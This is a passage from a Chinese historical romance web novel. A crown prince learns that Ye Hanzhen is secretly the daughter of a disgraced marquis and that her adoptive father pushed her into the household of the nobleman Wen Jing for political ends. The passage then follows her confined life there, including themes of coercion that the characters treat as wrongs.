闻景见她缩成一团,只仰躺在枕上,自说自话:“你都不知道你走后这段时间我一个人是怎么过得。”
夜夜孤枕难眠。
为了能压制自己心里的火气,她衣柜的带着她馨香气息的贴身衣物,几乎都要被他毁去。
叶含珍死死捂着脑袋,不去听闻景的疯言疯语,只是下一瞬间,身上就一凉,一个坚实的身躯贴上了后背。
比被子滚烫数分的火热胸膛,让叶含珍简直难以忍受,她欲转身逃离,却被闻景制住,“我就抱着你,不会动你的。”
他话说得轻巧,身下的反应却骗不了人。
“睡吧睡吧,再不睡,安神药的药效就要过了。”
叶含珍见身后人确实只是抱着自己,再没有任何逾矩的地方,果然不再挣扎。
约莫一盏茶后,她就听见身后人洒在她耳后的匀静气息,这才踏实闭上早就昏昏欲睡的双眼,坠入梦乡。
而就在她闭眼熟睡后,闻景才徐徐睁开眼眸,在她额间落下一枚亲吻。
随着几声惊雷滚过,接踵而来的便是几日连绵阴雨。
嫩芽抖擞,暖风拂面。
只是等到天光放晴之时,紫含殿外的海棠已经是一片云蒸霞蔚,花海汹涌。
廊下繁茂翠色的枝桠间,有几只鸟雀不停地叽喳着,显得这春日生动活泼极了。
殿内书案后,沈俞静坐在紫檀雕花椅上等了半晌,都未闻跪在堂下的叶孝义说出叶含珍如今的下落。
“……叶大人真是个好父亲啊!好到连自家女儿的下落都回答不出来,这可真是匪夷所思!”
要不是他派人去叶府传人进宫,他都不知道她人根本就不在叶府。
“叶大人,你以为你不说,孤就查不到她的下落吗?”
沈俞静的耐心被耗尽,抬头让人送上那两枚玉佩在叶孝义跟前,“你看看,这两块玉佩哪块会是叶小姐身上的那块?”
叶孝义先还死咬着叶含珍的下落不开口,这会见眼前两枚一模一样的玉佩,顿时委顿在地。
“殿、殿下,臣……”
“你慢慢说,反正孤今日有的是时辰和你周旋。”沈俞静似笑非笑望着堂下,他倒要看看这位叶大人,到底想干什么。
45. 往事
叶孝义原本还想再瞒段日子,只是如今见沈俞静已经拿到了叶含珍身上的那枚鸳鸯玉佩,便知他定然是查到了什么,才会让人特意宣自己来东宫觐见。
罢了,既然已经瞒不住,那就在今日交代了吧,这对他来说又何尝不是种解脱了呢?
叶孝义叩首道:“请殿下屏退他人,臣自当给殿下一个交代。”
“都下去吧,没用孤的吩咐,谁都不能擅自进来。”沈俞静挥退一众伺候的内侍,他倒要听听叶孝义到底要说什么。
“是。”
众人领命而去,悉悉索索的脚步声很快就越来越远。
叶孝义抬头去望坐在案桌后的身影,脸上先前故作的慌乱神情渐渐褪去。
“太子殿下可否先告诉臣,您查到了什么?”
“你是宇泰元年的进士,曾在国子监与我舅舅白峰是同窗,”沈俞静缓缓起身道,“只是只有极少人知道,你们其实不只是同窗,还是拜过把子的兄弟,你说孤说的对吗?叶大人。”
“不错。”
叶孝义想起当年他与白峰结义的那日,也是个极明媚温暖的春日。
只是一眨眼过去,他的结义大哥早就被一纸圣旨抄家灭门,而他也早已没了当年的意气风发。
夹着尾巴在临州做了十几年的官,如今才重新回得京城。
他忘不了他们结义时许下生死与共的誓言,只是他食言了。
叶孝义坦然大笑:“哈哈!难得这种事都被殿下查到了,看来殿下确实是知道了珍珍的身份,并不是凭空来诈老臣的。”
“你在宇泰九年初,曾带着生病的女儿进京寻医,没过多久,长随侯府就被人污蔑通敌叛国,满门抄斩。而不久后,你就带着病愈的女儿回了临州,直到去岁末,才携家眷入京。”
沈俞静查到的不止这些,他还查到叶孝义的女儿当年生的是无治之疾,根本就救不活!
“孤问过太医院的梅院首,他说咳痨之疾根本无法治愈,就算能拖个一时半会,也只能养在闺中,活个几年罢了,”沈俞静眸间瞬间迸出精光,神色激动道,“而如今的叶含珍,却是能跑能跳,能吃能喝的康健之人,哪里有半点像咳痨的病人?”
能在雪地替人寻帮手,还能随他在绕小半个保国寺,这可不是长年患有咳痨之人能坚持下来的事。
更不提她面色晶润,青眉绯唇的容貌。
“珍珍她没有咳痨,她……她也确实是我义兄白峰的女儿。”叶孝义佝偻着背脊,垂头低喃道。
朱轩窗外的春光正盛,连风里都带着丝丝春日里才有的暖意。
随风荡起的纱幔,划过叶孝义的身影,让沈俞静有些看不清楚眼前老态龙钟的男子。
原来、原来她真的是,是白四。
那她现在在哪?在哪?
他要去寻她,然后……然后呢?
“叶孝义,你别以为你救了她,孤就会放过你。你快点告诉孤,她现下究竟在何处?”
不管如何,眼下他得先找到人再说。
“回殿下,臣也不知道。”
沈俞静大惊失色:“不可能!”
他明明在二月初一那日还在保国寺见过她,她那日离开时,也说的是回府。
“叶孝义,你这话是什么意思?难道她二月初一那日后就再没回过叶府吗?”
沈俞静死死盯着叶孝义的神情,生怕再被这老狐狸蒙混过去。
哪知叶孝义却神色坦诚道:“回殿下,小女自二月初一那日去保国寺后,就再未回府过,臣也在寻她。”
“你说什么?!”
沈俞静震惊怒吼一声,整个大殿都飘荡着他的怒气。
他上前一把揪住叶孝义的衣襟,逼问道:“和孤说实话,她现下到底在哪里?你若不说,孤这就让东宫禁卫去寻。就算要将京城翻个底朝天,孤也要找到她!”
叶孝义:“殿下,如今六皇子对储位虎视眈眈,皇上也多偏袒他,您又何必要闹得如此沸沸腾腾,将把柄递与他人?”
沈俞静见叶孝义还有心情劝自己,当即就回过神来:“你敢骗孤!”说完一把丢开叶孝义,便朝外走。
只是他才踏出一步,脚就被人紧紧抱住。
“殿下不可冲动啊!珍珍不会有危险的,臣可以拿自己的身家性命给您保证。只要殿下的大事能成,她如今所受的委屈便不算什么。”
叶孝义老眼淌泪道,“殿下若是真的心疼她,那就等殿下顺利登基后,替白家洗去冤屈,还白家一个公道,届时殿下何愁没有法子补偿她?”
“叶孝义,你好大的胆子!”
沈俞静简直要被叶孝义的话逼疯,“你怎么能让她替孤铺路?你有没有想过她是舅舅膝下唯一的血脉?她若是真的出了事,你要孤怎么给母后和舅舅舅母交代?”
“孤的事,孤自有法子,不必用她去换。”
叶孝义却梗着脖子,反问沈俞静:“您虽是太子,可是只要六皇子一日没有去封地,皇上他的心思就无人可知。臣也不想将珍珍拖进这浑水里,只是您还记得临州劳军的事吗?”
去岁闻景大败北戎后,按照祖上定下的规矩,应该是他这位太子替君前去劳军,可是父皇竟让不顾群臣的反对,一意孤行要沈俞风去。
此事在朝堂上闹得沸沸扬扬的,也终究没有让父皇回心转意。
“这就是你帮孤的法子?”
沈俞静嗤笑,没想到自己的失意会让她成为踏脚石。
他一脚踹开叶孝义的手,踉踉跄跄得往后退了几步,直到靠在高几上,将上面装着芍药的瓷瓶撞落。
“啪!”
清脆刺耳的破裂声,打破了满殿沉寂。
只是四处散去的碎瓷,却宛若全部扎在沈俞静心口,疼得他喘不过气。
“殿下不是想知道珍珍在何处吗?”
“二月初二一早,就有清心庵的姑子来府上送信,说珍珍被闻景带走了。现下,她应该就在闻景名下梨花巷的宅子里,殿下若是不信,尽可去派人查。”
“闻景?你是说闻景带走了她?”
沈俞静脸色瞬间阴沉如水,“是你将她推到闻景身边的,是不是?”
“那些拜托闻景替她寻医问药的话,都是用来掩饰他们两人关系的借口,是不是?”
字字如锥,声声泣血。
杜鹃鸟也不过如此哀啼之声。
沈俞静摇头,“是孤害了她,若是孤不曾如此被动,让沈俞风踩在孤头上,你就不会想出这种昏招,毁她一生。”
“殿下!”
叶孝义看准时机,慢慢将计划全盘托出。
叶孝义闻言闭眼惭愧道,“都是老臣无用,只能想出这种伤人一千,自损八百的法子。”
“那闻景在临州时就看上了珍珍,臣不过是顺水推舟,将珍珍送到他身边。若是殿下登基顺利,那珍珍何时可以离开,都有殿下您做主,若是
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—”
“若是孤败了呢?”
沈俞静悲怆问道,“若是孤败了,那她该怎么办?她怎么能和闻家的人在一起?”
“若是老天爷不开眼,六皇子登基,珍珍也不会有危险的。老臣看得出来,那闻景是真心喜欢珍珍的,就算不能娶她为正妻,也会护着她一辈子的。”
先前他也只当是闻景的临时起意,只是初二那日清心庵的姑子来报信时,他才敢确信闻景是真的爱上了珍珍。
有这么一个家世斐然,自身又紧握权势的男子喜欢珍珍,他何尝不去赌一把?
待他百年之后,他自会去向义兄和义嫂请罪的。
叶孝义见沈俞静不复先前的激动,继续劝道:“老臣知道殿下看不上闻家,闻家的人也不配在珍珍面前站着,只是如今郑国公府深得帝心,那位闻世子更是世家子弟里最具权柄的人,若是日后能借珍珍的手,将闻景的一举一动传出来,那六皇子那边也就没有什么可瞒着咱们的。”
“你明明知道、知道闻家是白家的……”
“我知道,可是珍珍不知道,闻景也不会知道,”叶孝义不死心道,“老臣会在适当的时候告诉珍珍一切,我相信珍珍不会让殿下失望的!”
他说完这些,便抬头去看已经满目含泪的沈俞静,“太子若是觉得老臣狠毒,大可等事成以后将老夫碎尸万段,老夫也不会有一声冤喊。只要能帮您顺利继位,臣这一家都可以去死。”
只有太子继位,长随侯府的冤屈才会有人去洗。
而珍珍本就是白家的人,她更有责任去为自己的亲人平反。
“叶孝义,你这样做,简直就是陷孤不孝不悌,不仁不义。”
沈俞静颓然跌坐在地,脑海里全是那日她咬着点心的娇俏模样。
原来,她离他这么近。
叶孝义踏着月色回府,毫不意外得在外院书房门口,看见了已经站在门口等候的儿子。
“走吧,有什么话,进去说,别让你娘知道。”
他根本不在意叶劲此时的神色,佝着腰,缓步走进书房。
明明窗前明月高悬,叶劲却只觉眼前一片黯淡,整个人犹如冬日里遗留的枯枝,在这个春夜里,死气沉沉。
“你今日有空来寻为父,是有何事?”
叶孝义坐在椅子上,看着眼前沉默不语的儿子,烛光将他高大挺拔的身影照得清晰。可这会叶孝义脑海里,却是他带叶含珍回到临州那日的场景。
“爹爹,你和妹妹终于回来了!”
那时还只有七八岁的叶劲,见久违的父亲抱着妹妹踏入正院,神色里有说不出的兴奋和惊喜。
果然就像阿娘说得那样,爹爹会顺顺利利带妹妹回家的。
他以后再也不会嫌弃她爱哭,会做一个好哥哥。
只是瞧来瞧去,离开临州去京城寻医的妹妹却和从前的模样有些出入。
叶孝义将女孩儿小心翼翼地抱给叶夫人,摸着儿子的小脑瓜,郑重道:“劲儿长高了,妹妹也会长大,你以后要照顾好妹妹,知道吗?”
“知道了,父亲,”叶劲一脸正经回答,随后忍不住用指头,戳了戳阿娘怀里正朝自己笑得灿烂的嫩白脸蛋,“喂,我是你哥哥,你还记得吗?”
随即又朝叶夫人问道:“阿娘,妹妹的样子变了好多啊!不仅比从前白净许多,就连眼睛都圆溜溜的,她长得可比寺里菩萨身边的金童玉女还好看,这当真是我的妹妹吗?”
46. 春日琼花
叶夫人抱着怀中不停抓自己衣襟的婴孩,含泪望向自己的夫君,又朝期待满满的叶劲道:“女孩儿当然会越大越可爱,她又不会像你一样,三天两头往外跑,自然是越来越白净漂亮。”
叶劲闻言却咧嘴一笑:“没事儿,我是男孩子,黑一点也没事的。爹爹说,男子汉大丈夫,应当顶天立地,黑一点就黑一点,只要妹妹白白嫩嫩的就行!”
叶夫人听着儿子的稚言,却哭出了声。
一个月前,她就收到了女儿已经在京城病逝的消息,如今被夫君带回来的,是白家唯一的血脉。
“阿娘怎么哭了?”
叶劲用袖子去给叶夫人擦泪,“是儿子惹阿娘生气了吗?”
叶夫人摇头:“没有,劲儿很乖,怎么会惹阿娘生气?只是劲儿,以后这些妹妹不像从前模样的话,不能再说,知道吗?”
“好。”
叶劲点头应和道。
是什么时候开始,儿子开始怀疑珍珍身份的?
叶孝义苦笑摇头,也许自从那时起,随着珍珍的长大,这些事就已经瞒不住他了。
他忘不了他定下珍珍与温家亲事的那晚,平日里稳重谦和的儿子,将自己彻底关在房间里大醉一场后,三日都不曾踏出房门。
还是阿雨让珍珍给他送吃食,房门才从里面打开。
时间过得真快啊!
“父亲,下午郑国公府给咱们家送帖子来了。”
“哦,是何事?”
叶劲咬牙切齿道,“是请珍珍四月十二那日去郑国公府,赴舜华郡主芳辰的帖子。您说说看,她是去呢,还是不去?”
“舜华郡主芳辰珍珍自然是该去的,”叶孝义放下喝毕的茶盏,徐徐道,“她很快就是闻家的人,自然是该去一趟郑国公府。”
外间虫鸣阵阵,夜里的暖风夹杂着各色树木清香,而这会的叶劲,却只瞪着灯下闲适的父亲。
见他还有心情去书架前翻书,叶劲抬手就将手边的茶盏挥落在地。
叶孝义被地上茶盏碎裂的动静惊了一跳,转身怒斥道:“你就是这样对长辈的?”
“长辈?”叶劲冷眼讥讽道。
“像您这种贪生怕死,拿女儿换前程的长辈,有什么值得我恭敬的?想来就是珍珍也想不到,养育她十几年的父亲,最后还是会为了前程,将她推入深渊。我真的不明白,就算她不是您的亲手女儿,可是,她也曾在您和阿娘膝下承欢言笑多年,您何必要做得如此决绝?”
叶孝义被叶劲的讥讽刺得满面涨红,“你懂什么?我都是为了……为了她好!”
“……为了她好,就是要违背她的意愿,要送她去郑国公府与人做妾吗?”
叶孝义脸如猪肝,气得浑身打颤,当即指着叶劲的鼻子:“你别以为我不知道你向吏部请求调回临州的事。叶劲,她有她的命,你有你的路,你们今生注定只能是兄妹。若是你在私下胡来,我就、我就—”
“就如何?”叶劲不屑道。
“叶劲,我那日就说过,只要闻景真的愿意放过珍珍,我就安排珍珍尽快离开京城,可是你也知道二月初一那日,是闻景亲自带着人去清心庵,将珍珍带走的,我又能有什么办法?”
是吗?
叶劲闻言,身形不由一晃,垂眸喃喃:“那我这就去见闻景,求他放了珍珍。”
说完他就转身要走,却被身后的叶孝义喊住,“站住!既然事情已经到了这步,你有何必如此坚持?”
“那您就要眼睁睁看她一辈子深陷火坑吗?”叶劲转身怒吼道,“她是活生生的人,不是用来交易的物品!还是说,你非要如此绝情,是因为珍珍的身世?”
那时他虽才几岁,但已经能发觉妹妹和从前不一样了。
眉眼,样貌,还有那样一副康健的身体,都无一例外在告诉他,她不是他的亲生妹妹。
只是爹娘的耳提面命,让他知道这些都是不能说出口的秘密。
只是,他知道珍珍不是他亲妹妹,她不知道。
她也不知道自己这个人面兽心的哥哥,会对她有男女之情。
“她的身世我会去查,等我查到了,也就是我带她离开京城的时候。那时就算是皇帝下旨赐婚,我也不会再将她交给任何人,我要她一辈子都像在临州那样无忧无虑,”叶劲流泪喘息道,“我会是她一辈子的哥哥,我会用我的性命护着她一辈子!”
叶孝义被叶劲这番话完全镇住,他从来没有想到,自己看着长大的儿子,今日会如此忤逆自己。
他呆滞了好半晌,才想起白家,想起亡逝的女儿,想起珍珍从前唤他的亲热模样,最终悲怆道:“你查出她身世之日,就是我们叶府灭门之日。你要查便查吧,反正爹也活够了!”
他知道自己如何不是在委屈她?
可是,太子势微,皇帝态度对六皇子那边又若即若离,他们这帮老臣,也不知道能做些什么,去维护大齐的正统之道。
送珍珍去闻景身边,难道他就好受吗?
事到如今,也只能等待功成身退那日,再去向她,向义兄和义嫂谢罪。
屋外明月生辉,阵阵带着暖意的晚风抚过碧叶,发出“哗哗”声响。
灯笼下的暗影里,藏着几只蝈蝈正渐歇渐起得嘶鸣,衬得这春夜里带着几分凄凉。
*
后面接连几日的晴天,早让喝饱了雨露的嫩芽一夜间抽出挺拔身姿。
就连叶间的花蕾,都绽放爆开,吸引着各色蝴蝶在花蕊间翩跹起舞。
院子里种了不少芍药和锦葵,只是更惹人眼的,是那满树打满洁白花朵的玉兰。
檐下随风摇晃的风铃,发出令人愉悦的声响,这时,一只燕子被这清脆铃声惊得扑扇着羽翅,朝碧空远远飞去,最后化作一个黑点,消失在叶含珍的视线里。
她顺着台阶走至那满树玉兰花树下,只见随风坠下的大片洁白花瓣,洒落一地,宛如一只只小船荡来荡去。
侧目见青渚领着丫头们捧着托盘进院子,转身向白枝道:“怎么又送衣料首饰进来?我不是说了吗,我不需要这么多东西。”
“回小姐,这些都是世子爷吩咐的,奴婢们只是奉命行事。”白枝恭敬道。
叶含珍听后也不再多言,她们都是闻景的人,只会听闻景的话。
她转身朝头上的玉兰花枝伸着手,蹦了两下,只是还是够不到,气急道:“白枝,让人搬个梯子来,我要折几枝玉兰来插瓶!”
“小姐,您脚上的伤才好,这些事就让奴婢来吧。”
叶含珍轻哼道:“我的脚早就好了,方才还不是能蹦能跳吗?都是闻景那厮将大夫的话奉若圭臬,大惊小怪的,害得我在屋子里闷了好久。今日难得他出去这么久,我定要好好逛逛园子。”
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那日她并不放在心上的脚伤,第二日醒来时,就肿得如馒头一般,根本下不了地。
大夫来瞧了,说她的脚伤比脖子上的伤严重多了。
不仅替她针灸一番,还交待要她好好养着脚伤,在痊愈之前不可再受伤。
闻景便拿着大夫的话,一直不肯让她出屋。
再加上前几日的连绵春雨,到处一片潮乎乎的,她几乎都要被憋坏了。
练字,女红,串花,哪有春日里亲手折花插瓶来得有趣?
“好白枝,你就让我自己折花吧,”叶含珍小声央求道,“我从前在家时,我阿娘屋子里的花,都是我摘的,我肯定不会从梯子上掉下来的!”
白枝被她抱胳膊叨扰得不行,又不敢真的让她上梯子,只退步道:“比起玉兰,小姐不是更喜欢芍药吗?如今芍药开得正好,不如小姐剪几枝芍药养在屋子里吧?”
“哼!我才不要剪芍药呢。”
叶含珍气得跺脚,只是眉眼间全是女子娇柔的水波。
前几日闻景不知怎么的,又想起她会做花签的事,跑到园子里折了一大抱芍药,让她选两只替他做个花签。
她不肯,闻景就许诺,说她替他做一只花签,他晚间就饶她一次。
只是等到花签做好了,闻景却说前几日她来癸水,他就一次都没有碰她,他的承诺已经做到了。
女子来癸水时本就不能行那事,更何况从前也只有这几日里,闻景不会折腾她。
怎么成了他信守承诺的事?
“白枝,那你让人搬梯子来,我看着他们折花总行了吧?”
不管怎么说,白枝都不敢让叶含珍去爬梯子摘花。如今见她退让,她也不好再多说什么,只朝守在院门的小厮交代了两句,很快就有婆子抬了梯子立在玉兰树下。
“剪那枝,”叶含珍在廊下指挥道,“那枝开得最好,就剪那枝就行了。”
小厮依言很快就顺着叶含珍指的方向,剪下一大枝玉兰花,顺着梯子往下。
白枝接过小厮手里的玉兰花枝,欣喜得朝叶含珍道:“小姐请。”
叶含珍见她递来,却不去接。
只是唇边蓦然绽放出一抹笑意,便提着月白挑线裙角,急急朝玉兰树下的梯子跑去。
眼下,便是她登上梯子最好的时机。
叶含珍不顾身后白枝焦急的叫喊声,几步便到了梯子下,抬脚就往上爬。
白枝转身就见她已经登上梯子,吓得不敢再出声唤她,只将手里的玉兰花交给小丫头抱着,自己带着几个婆子围在梯子下,生怕她掉下来。
满眼望去,目之所及处,皆是朵朵洁白如夏夜繁星的花。
有的已经完全绽放,还有的只是半阖半开的玉蕾。
从树桠间倾泻而下日光,更是将满树圣洁的花瓣,照得剔透如玉。
叶含珍颤巍着纤手,伸手去够不远处的枝桠。踮起脚尖,下一瞬间就将花枝折下,随即转身朝梯子下面的众人,得意一笑。
白枝见她站稳了身子,不禁暗吁一口长气。
差一点,她就要准备纵身去接人了。
仰头瞧着梯子上那人娇俏可爱的模样,白枝便衷心觉着,哪怕是眼前这满树琼华,也掩饰不住她眉梢处的丝丝流光,嫣然媚色。
此刻不只是她,就连围在树下的小丫头们,都看呆了眼。
47. 长随侯府
院子里的小丫头们见主子举着花枝,皆忍不住小声欢呼嬉闹起来。
“小姐好厉害呀!”
“小姐赏奴婢一支吧,奴婢也想养着放在屋子里。”
“等着,”叶含珍心情大好,将手里的花弯腰递给梯子下的婆子手里,便又探着身子去折,“等我再多折几枝。”
白枝终于忍不住开口道:“小姐还是先下来吧,奴婢看着害怕。”
“好白枝,我摘了这朵就下来了,你不要催。”
叶含珍说到做到,果然摘完手边这一支,便抱着满怀的玉兰,小心翼翼地顺着梯子往下。
直到脚踩在踏实的地砖上,叶含珍才回身笑着道:“排队排队,领玉兰花啦!”
她话甫一说完,院子里的丫头们都笑着聚拢过来,在叶含珍面前排成一列。
“喏,你的。”
“谢小姐。”
“这枝是你的。”
“多谢小姐!”
叶含珍将怀里的玉兰一一分给众人,一时间整个院子都是欢声笑语,好不热闹。
她将一枝上面缀着五朵的玉兰递与白枝手里,“你也有。”
又往青渚手里塞了一枝,喃喃道:“喏,青渚,这是给你的。”
两个丫头难得见她如此好兴致,也不再扫兴,俱接过叶含珍手里的花,含笑道谢。
“在玩什么,这么热闹?”
叶含珍循声望去,却见闻景不知何时站在院门处,正朝自己望来。
春风拂过满树琼花,片片如雪般的花瓣坠下。
樱色绫纱衫子配月白挑线裙子,让她宛若这花海里翩跹而起的蝶。
一双醉人杏目,漾起万千涟漪。樱唇飞扬,颊边两只梨窝毕现,盛着所有的烂漫。
而乌发上簪的玉钗,更是衬得她面容娇俏如海棠。
玉钗上微微晃动的流苏,都尽显她眉眼间的灵动与生气。
就好像那日他们初遇一般时的娇美动人。
只是可惜的是,就在她望见自己的时候,她脸上的笑便渐渐敛下。
停下一直摩挲扳指的动作,闻景负手大步走至她身前,俯身伸出带着茧子的掌心:“请小姐也赏在下一枝花。”
“没有了。”叶含珍拒绝闻景的请求,眼睛都不带眨的。
只是她低估了闻景的厚脸,就在她出言拒绝的那一瞬间,闻景就将她打横抱在怀里,抬脚往正房的方向走去。
叶含珍急了,抱着一怀玉兰,连连道:“还有!还有的!”
闻景却充耳不闻,只大步流星往屋里走。而院子里的丫头婆子们,早在闻景现身在院门时,就吓得做鸟兽状散开。
将人轻轻放在贵妃椅上,闻景在椅边蹲下身子,头也不抬地脱下了叶含珍右脚上的鞋袜。
“你干嘛?”
叶含珍被闻景脱鞋的动作吓得不轻,忍不住惊呼道。
“方才爬梯子的时候不是很得意吗?”
闻景握着手里纤细的脚踝,只细细打量着,见确实彻底消去浮肿,才继续道,“怎么这会怕成这样?”
叶含珍闻言将脚往裙下一缩,整个人顺着贵妃椅往后一躲,才振振有词嚷道:“我的脚早就好了,就算爬个梯子也不会怎么样!”
“那你往后躲什么?”
闻景撩起袍角往椅子边缘上坐下,捡起那只绫袜就去握叶含珍藏在裙下的脚,“屋子里还是有些凉,快点把脚伸过来,我给你穿袜子。”
外间虽是晴光暖阳,但屋子还是有些清冷。
叶含珍虽不满闻景的言行,但是光着脚丫踩在椅子上,还是有些凉。尤其是她方才在外间本就出了一层细汗在背上,这会进了屋,很快就落了汗。
闻景见她乖乖从裙下伸出脚,一边给人穿袜子,一边道:“大夫说,你脚上的伤拖得太久,若是不一次治好,只怕你以后会落下旧疾。”
他也没有想到叶含珍在保国寺会扭伤脚,只是等从清心庵回来的第二日起身时,才发现她脚踝肿的已经不能下地。
大夫说,也许是脖子的伤口痛意更明显,才让人忽略了脚上的伤。
如今,她脖间的伤早就结痂脱落,而脚却还时不时得嚷嚷着疼。
也不知道她到底是真疼还是假疼,反正她每次喊疼的时候,闻景都无比自责。
若是那日细心些,注意着些她走路的姿势,也许就不会拖这么久。
叶含珍靠在椅背上,听着闻景絮絮叨叨的话,忽生出一股毛骨悚然:比起闻景此刻的耐心与温柔,她更宁愿闻景再像在清心庵里那般,对自己疾言厉色。
这样,他们之间就不会有现下难以名状的熟稔,与暧昧。
她幼时曾见到过爹爹给阿娘梳发簪钗的场景,也见过爹爹给阿娘帛挡风的模样。
眼下,闻景的一举一动,只比她爹娘来得更亲密。
鞋袜终于穿好了。
叶含珍暗自感受着两只脚背上的温度。很明显,被闻景抚过的右脚的脚心,已经带着些潮意。
“在想什么呢,这样出神?”
闻景抬头便见叶含珍双眼迷茫得望着自己。
叶含珍收拢神魂,没好气道:“和你没关系。”
说完便起身去唤青渚寻个花瓶出来,她要将方才折下的玉兰养起来。闻景也紧随其后,在她对面的桌案前坐下,静静望着她修剪着花苞。
待一时全部插好,叶含珍才闪着水眸,朝白枝青渚等人道:“我插的花好看吗?”
“好看。”
“小姐的手真巧!”
两个丫头不余遗力拍着马屁,叶含珍闻言得意朝闻景一瞥,又开始摆弄桌案上的残枝。
她随手抓起一枝被剪掉的玉兰,往闻景眼前一送:“给你。”
闻景惊喜道:“真的?”没想到,真的有他的那份。
闻景已经直接忽略过这是叶含珍剪去不要的花。
“……爱要不要。”
叶含珍被他惊喜的语气弄得有些不上不下,不就是枝残花吗,有这么高兴吗?
养在花瓶里的玉兰不过两三日,就凋敝枯萎。
而叶含珍再想让人拿梯子去折花,就不成了。
闻景给宅子里的人下了命令,谁再敢让叶含珍爬梯子,他就打断谁的腿。
有了闻景的警告,叶含珍便再也没有折过玉兰,每日只带着白枝与青渚,在花园里闲逛。
只是时日一长,再大的宅子,叶含珍都逛腻了。
闻景名下的这所宅子,前身主人本是上任乞骸骨的户部尚书。他回乡前,闻景就从他手
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里买了过来,一直都只让人洒扫着,并不来住。
直到去年闻景回京复命之后,这宅子才开始迎来主子的日日光顾。
最冷清的时候已经结束。
在闻景眼里,只要她在这里,便是偌大的郑国公府,也不及此处住得舒服惬意。
亭台楼阁,水榭画舫,一一俱全。
就连如今各处种下的花草树木,皆是按照他的嘱咐,或移或栽。
望月楼是建在东跨院花园里的一栋两层小楼。
这段时间,每逢闻景出门时,叶含珍便带着人,能在楼上待上一天。
这日闻景早起后,并没有像往常那般出门上衙,而是携着她,一起登上了楼。
面对叶含珍投来的目光,闻景只吐出一句“休沐”,便将叶含珍的疑惑彻底吹散。
四角檐角风铃随着暖风晃动,非常让人愉悦至极的声响。
放眼望去,整个宅院尽收眼底。
只是与眼下的繁花碧叶相比,东北角的一处开阔废宅,引起了叶含珍的好奇。
她也曾问过白枝和青渚,那荒芜宅院的来历,只是二人俱说不知。
叶含珍逆着风站在凭栏处,指着相邻院墙后的荒芜院子道,“这是谁的宅院,怎么如此荒凉?”
视线顺着败落的屋檐,划至梁上已经褪色残破的纹饰,再细看那宅院的规制,应该是侯爵一类的勋贵,才能住的居所。
只是既然是侯爵一类贵人的宅邸,怎么会荒废至此?
“那是长随侯府的旧宅,”闻景起身走至叶含珍身后,将人环在怀中,顺着她所指的方向望去,“因当年的长随侯白峰,被人举发通敌叛国,皇帝下旨将其抄家灭族,此后这侯府便一直空落着,无人打理。”
“按理说,长随侯府既然坏了事,那这空下来的府宅也该由朝廷收回,再重新赏人。只是不知为何,如今过去十多年了,这宅子也依旧荒废着。”
长随侯府?
叶含珍的神情有些不自然,右手慢慢搭在漆红描金的凭栏上,有些颤动。
长随侯府不就是太子沈俞静的母族?也就是自己那块玉佩原主的家。
原本轻颤的右手不由自主地往腰间去摸,却落了空。
那块玉佩已经在保国寺那日,就被沈俞静借走了。
“通敌叛国?”叶含珍低喃道。
那日,沈俞静也是如此说的。
只是他提及这罪名时,语气里却有些难以名状的……嘲讽?
叶含珍还沉浸在当日在保国寺与沈俞静交谈的回忆里,冷不防间,听见闻景起疑的声音。
“你腰间的那块羊脂玉佩呢?怎么这些时日里都不曾再见你戴过?”
那玉佩闻景瞧过,是块工料皆数上等的鸳鸯佩。
起先,他只以为是温行松与眼前人的定情信物,还暗暗吃过味。
可是当他出言要借来一观时,叶含珍却毫无半点迟疑,就将玉佩递给了他。
问起这玉佩的来历,她也只说这是从小就在她身边的物件。
叶含珍闻言瞬间收回脑海里的胡思乱想,镇静道:“我回家后就让雪青收起来了,如今雪青和青莲还在你手里,我也不知道那块玉佩在哪里。许是在叶府里,也未可知。”
“是吗?”
48. 喜事
闻景俯身,将面庞贴在她颊边,“你那块玉佩不戴也没什么,我再让人给你做块更好的玉佩来。”
叶含珍却瞧准时机,转身朝神情慵懒的闻景道:“你打算什么时候将雪青和青莲送回来?”
自清心庵回来后,她就再没有见过她们。
也不知道,她们现下怎么了,闻景后面有没有再让人为难她们。
闻景不语,只是目光灼灼得凝视着眼前人,彷佛要将人的心看穿一般。
叶含珍垂下搭在凭栏上的手腕,试图解释道:“她们是从小就在我身边伺候,我们也从未分开过这么久,我有些想她们。”
闻景:“也才不到两个月而已,她们就这么值得你牵挂?还是说,我安排的人不合你的心意,你才要这么急切得要她们来伺候你?”
“不是!”叶含珍急急反驳道。
她不怕闻景朝她发火,却怕闻景会误会自己的意思,迁怒如今伺候在她身边的下人。
毕竟闻景再生她的气,也不过是在榻间多折腾她几次。若是真惹得闻景迁怒白枝她们,那就是她的罪过。
叶含珍不得不放软神情,低声道:“人非草木,孰能无情?她们陪着我这么多年,几乎和如同姐妹一般,我自然是会想她们的。白枝和青渚,还有屋子里的丫头们,都将我照顾得很好,你不要误会她们。”
“那我呢?”
叶含珍闻言,抬眼疑惑得望着闻景:“你怎么了?”
“我们也在一起一年有余,怎么不见你回家那段时间有想过我?”
看着眼前满是揶揄之色的闻景,叶含珍瞬间便熄了今日求他的心。
她想他做什么?
难得那时以为能彻底摆脱这人,她为何要自虐般,去想两人之间的过往?
是,她是做过有关于闻景的梦,但无一例外,皆是惊心动魄的噩梦而已。
就在叶含珍呆愣间,闻景低头在她额间落下一吻,喃喃自语道:“我们如今除了夫妻之名,还有哪里与寻常夫妇不同?你回家那段时间,我几乎夜夜都不曾安睡。”
同吃同住,同起同卧。
自他将人再次带回这宅子后,就连身边以李继芳为首的狐朋狗友,都打趣他每日出了衙门,便着急心慌得往梨花巷走。
而他,只要一想到叶含珍这里,乖乖待着等他回去,便只恨不能登时飞回去。
什么宴席,茶会,他通通都没有兴致。
可是他这话落在叶含珍耳中,却犹如滚水倒入热油,下一瞬息,就听到叶含珍毫不留情的讥讽。
“闻世子昏了头了吧?”
叶含珍一改先前的温言软语,仰头吸气道:“你我之间不过是一场权色交易而已,何谈什么夫妻?你护着我叶府,我也只将自己当做礼物,躺在你榻上,任你磋磨。闻景,你别忘了,你亲口说过的,你朝叶府要的是侍妾!”
闻景被她一阵咄咄之言激得心口发烫,沉声道:“那日是我不对,不该说那样伤你的话。可是,就算你不承认我们之间的感情,你也不必说如此折辱自己的话。”
叶含珍没想到闻景会坦然承认自己的错,虚虚往后退一步,低头不愿再去看他烧红的眼眶。
只是,下一息后就被闻景一手揽住腰身,下颌也随之被他抬起。
“珍珍,你看着我,”闻景半抱着人,直直望进那双含泪杏眸眼底,“我究竟要如何做,你才肯愿意接纳我?”
他知道自己如今自然能将人继续若无其事的困在这里,只是这不是他想要的。
